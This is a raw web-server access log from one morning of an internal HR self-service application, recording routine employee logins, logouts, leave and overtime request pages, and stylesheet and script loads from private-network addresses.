192.168.11.97 - - [25/May/2023:10:47:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:10:47:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9507 "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:10:47:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9507
192.168.12.71 - - [25/May/2023:10:48:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:48:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.12.71 - - [25/May/2023:10:48:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3770302909000238 HTTP/1.1" 200 14848 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:48:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3770302909000238 HTTP/1.1" 200 14848
192.168.12.71 - - [25/May/2023:10:48:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3770302909000238 HTTP/1.1" 200 17021 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3770302909000238" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:48:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3770302909000238 HTTP/1.1" 200 17021
192.168.12.71 - - [25/May/2023:10:49:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:49:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:10:50:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:50:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:10:50:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 82879
192.168.12.71 - - [25/May/2023:10:50:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 82879 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.97 - - [25/May/2023:10:47:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:10:47:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.141 - - [25/May/2023:10:56:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2065950332705817 HTTP/1.1" 200 8640
192.168.11.141 - - [25/May/2023:10:56:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2065950332705817 HTTP/1.1" 200 8640 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:56:44 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2065950332705817 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:10:56:44 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2065950332705817 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2065950332705817" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.136 - - [25/May/2023:11:08:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.136 - - [25/May/2023:11:08:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.136 - - [25/May/2023:11:08:25 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:25 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:11:08:25 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:11:08:25 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [25/May/2023:11:08:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:25 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:11:08:25 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:11:08:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:11:08:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [25/May/2023:11:08:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:27 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:08:27 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:11:08:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [25/May/2023:11:08:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [25/May/2023:11:09:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [25/May/2023:11:09:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:16 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:11:09:16 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:16 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:16 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:11:09:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [25/May/2023:11:09:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:09:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:09:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:11:09:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:09:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:09:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:10:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:10:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:10:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:10:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:10:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:10:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:11:11:19 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:11:19 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.12.36 - - [25/May/2023:11:11:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.12.36 - - [25/May/2023:11:11:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
192.168.12.71 - - [25/May/2023:11:11:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:11:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.12.36 - - [25/May/2023:11:11:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.12.36 - - [25/May/2023:11:11:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:55 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:55 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.12.36 - - [25/May/2023:11:11:55 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:55 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.12.36 - - [25/May/2023:11:11:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.12.36 - - [25/May/2023:11:11:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.12.36 - - [25/May/2023:11:11:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:55 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:55 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.12.36 - - [25/May/2023:11:11:57 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.12.36 - - [25/May/2023:11:11:57 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
